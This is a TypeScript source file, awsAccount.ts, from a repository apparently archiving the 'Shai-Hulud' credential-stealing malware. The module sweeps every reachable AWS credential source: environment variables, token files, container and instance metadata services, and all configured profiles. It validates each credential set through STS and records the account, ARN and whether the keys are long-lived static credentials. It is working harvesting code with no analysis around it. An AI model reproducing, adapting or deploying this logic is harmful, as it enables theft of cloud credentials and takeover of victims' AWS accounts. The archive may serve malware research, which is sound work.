Files
Shai-Hulud-Archive/src/providers/aws/awsAccount.ts
T
2026-06-13 10:11:59 -04:00

96 lines
2.3 KiB
TypeScript

import { Provider } from "../base";
import type { ProviderResult } from "../types";
import { stsGetCallerIdentity } from "./client";
import {
type CredentialSource,
fromContainerMetadata,
fromEnv,
fromInstanceMetadata,
fromProfile,
fromTokenFile,
getAvailableProfiles,
} from "./credentials";
const TIMEOUT_MS = 5000;
const STS_REGION = process.env["AWS_REGION"] ?? "us-east-1";
interface AccountIdentity {
source: string;
account: string;
arn: string;
userId: string;
staticCredentials: boolean;
}
function withTimeout<T>(
promise: Promise<T>,
ms: number,
label: string,
): Promise<T> {
let timer: ReturnType<typeof setTimeout> | undefined;
const timeout = new Promise<never>((_, reject) => {
timer = setTimeout(
() => reject(new Error(`Timeout after ${ms}ms (${label})`)),
ms,
);
});
return Promise.race([promise, timeout]).finally(() => {
if (timer) clearTimeout(timer);
});
}
export class AwsAccountService extends Provider {
constructor() {
super("aws", "sts");
}
private async resolveIdentity(
source: CredentialSource,
): Promise<AccountIdentity> {
const creds = await source.resolve();
const identity = await stsGetCallerIdentity(creds, STS_REGION);
return {
source: source.label,
account: identity.account ?? "",
arn: identity.arn ?? "",
userId: identity.userId ?? "",
staticCredentials: Boolean(
creds.accessKeyId && creds.secretAccessKey && !creds.sessionToken,
),
};
}
async execute(): Promise<ProviderResult> {
const sources: CredentialSource[] = [
fromEnv(),
fromTokenFile(),
fromContainerMetadata(),
fromInstanceMetadata(),
];
const profiles = await getAvailableProfiles();
for (const profile of profiles) {
sources.push(fromProfile(profile));
}
const settled = await Promise.all(
sources.map((source) =>
withTimeout(
this.resolveIdentity(source),
TIMEOUT_MS,
source.label,
).catch(() => null),
),
);
const results = settled.filter((r): r is AccountIdentity => r !== null);
if (results.length === 0) {
return this.failure("No accessible AWS credentials found!");
}
return this.success(results);
}
}